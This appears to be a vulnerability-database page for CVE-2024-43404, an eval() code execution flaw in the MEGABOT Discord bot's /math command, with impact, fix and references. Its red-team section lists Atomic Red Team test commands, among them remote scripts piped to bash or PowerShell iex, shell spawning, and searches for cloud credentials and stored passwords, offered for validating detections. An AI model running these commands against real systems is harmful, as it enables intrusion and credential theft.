CVE-2024-43404
Overview
This vulnerability is a remote code execution flaw caused by unsafe use of the Python eval() function within the MEGABOT Discord bot. Specifically, the /math command processes user-supplied input through eval() without sanitization, allowing arbitrary Python code execution. The affected component is the expression parameter in the /math command handler of MEGABOT versions prior to 1.5.0.
Vulnerability Description
MEGABOT is a fully customized Discord bot for learning and fun. The `/math` command and functionality of MEGABOT versions < 1.5.0 contains a remote code execution vulnerability due to a Python `eval()`. The vulnerability allows an attacker to inject Python code into the `expression` parameter when using `/math` in any Discord channel. This vulnerability impacts any discord guild utilizing MEGABOT. This vulnerability was fixed in release version 1.5.0.
Impact
An unauthenticated attacker can remotely execute arbitrary Python code on the server hosting MEGABOT by sending crafted /math commands in any accessible Discord channel. This can lead to full system compromise, data exfiltration, or service disruption. No user interaction or prior authentication is required, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The vulnerability affects any Discord guild using vulnerable MEGABOT versions, enabling widespread exploitation potential.
Solution
Users of NicPWNs MEGABOT should upgrade to version 1.5.0 or later, where the eval() usage in the /math command has been properly mitigated. Detailed patch instructions and the security advisory are available at https://github.com/NicPWNs/MEGABOT/security/advisories/GHSA-vhxp-4hwq-w3p2. Applying this update is the recommended remediation to eliminate the remote code execution vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the MEGABOT Discord bot arises from the improper use of the Python `eval()` function within its `/math` command. This function, while powerful, poses significant security risks when used to execute arbitrary code from user input without proper validation or sanitization. In versions prior to 1.5.0, the bot allowed users to input mathematical expressions directly, which could include malicious Python code. An attacker could exploit this by crafting a specially formatted input that would be executed by the bot, leading to remote code execution. This flaw is particularly concerning given the nature of Discord as a platform where users can interact freely, increasing the likelihood of exposure to untrusted input.
The attack vectors for this vulnerability are straightforward yet effective. An attacker could join any Discord server utilizing the vulnerable version of MEGABOT and issue a command containing malicious code embedded within a mathematical expression. For instance, instead of a simple arithmetic operation, the attacker could input a command that executes harmful operations, such as accessing sensitive data, modifying server settings, or even deploying additional malware. The ease of access to Discord channels and the bot's functionality means that a single malicious user could potentially compromise the integrity of the entire server, leading to widespread repercussions.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Discord for community engagement or team collaboration. The potential for remote code execution means that attackers could gain unauthorized access to sensitive information, disrupt services, or manipulate server configurations. This not only poses a direct threat to the affected Discord guilds but also risks damaging the reputation of the organizations involved. The business risk extends to loss of user trust, potential data breaches, and the financial implications of remediation efforts. Furthermore, if the bot is part of a larger ecosystem, the ramifications could cascade, affecting interconnected systems and services.
To detect and mitigate this vulnerability, organizations should prioritize updating to the fixed version of MEGABOT (1.5.0 or later) as soon as possible. Regularly monitoring for updates and applying security patches is essential in maintaining a secure environment. Additionally, implementing input validation and sanitization measures can help prevent similar vulnerabilities in the future. Organizations should also consider employing security tools that can analyze bot commands for suspicious patterns or behaviors, thereby providing an additional layer of defense. Educating users about the risks associated with executing untrusted commands can further enhance security posture, as informed users are less likely to engage in risky behaviors that could lead to exploitation.
In conclusion, the vulnerability in MEGABOT highlights the critical importance of secure coding practices, particularly when dealing with user-generated input. The potential for remote code execution through a seemingly benign command underscores the need for vigilance in software development and deployment. By understanding the technical details of such vulnerabilities, recognizing the associated risks, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the evolving landscape of cybersecurity threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Megacord | Megabot | All |
cpe:2.3:a:megacord:megabot:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-43404 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/NicPWNs/MEGABOT/security/advisories/GHSA-vhxp-4hwq-w3p2 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/NicPWNs/MEGABOT/issues/137 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/NicPWNs/MEGABOT/pull/138 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/NicPWNs/MEGABOT/commit/71e79e5581ea36313700385b112d863053fb7ed6 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/NicPWNs/MEGABOT/releases/tag/v1.5.0 |